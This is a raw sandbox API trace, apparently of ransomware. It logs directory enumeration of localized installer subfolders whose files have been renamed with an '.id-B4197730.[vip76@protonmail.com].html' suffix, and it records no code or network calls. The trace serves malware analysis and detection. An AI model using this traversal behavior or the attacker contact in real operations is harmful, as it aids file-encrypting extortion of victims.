	[0165.977] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.977] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d81336, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d81336, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x820c8776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.977] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81da7579, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81da7579, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81da7579, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.977] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818bd56b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818bd56b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818bd56b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.977] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818bd56b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818bd56b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818bd56b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.977] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0165.978] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.978] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0165.978] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.978] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0165.979] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.979] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81dcd816, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.979] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82114cf6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.979] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.980] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.980] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0165.980] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.980] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0165.980] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.980] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.982] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.982] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e3ff67, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e3ff67, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e3ff67, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.982] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e66189, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e66189, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e66189, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.982] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.982] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x818e2a76, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x818e2a76, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818e2a76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.982] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.983] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.983] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0165.983] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.983] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0165.984] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.984] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e8c580, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e8c580, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8221fcf6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.984] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e8c580, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e8c580, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e8c580, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.984] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819c784b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.984] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819c784b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.984] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0165.985] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.985] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0165.985] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.985] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0165.986] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.986] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81eb4185, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81eb4185, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81eb4185, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.986] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81eb4185, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81eb4185, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ed881d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.986] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819ed971, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.986] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819c784b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819c784b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819ed971, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.986] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0165.987] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.987] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0165.987] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.987] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0165.988] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.988] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x820c8776, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x820c8776, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x820c8776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.988] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x820ee924, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x820ee924, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x820ee924, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.988] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819ed971, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819ed971, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.988] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819ed971, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819ed971, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.988] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0165.989] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.989] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0165.989] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
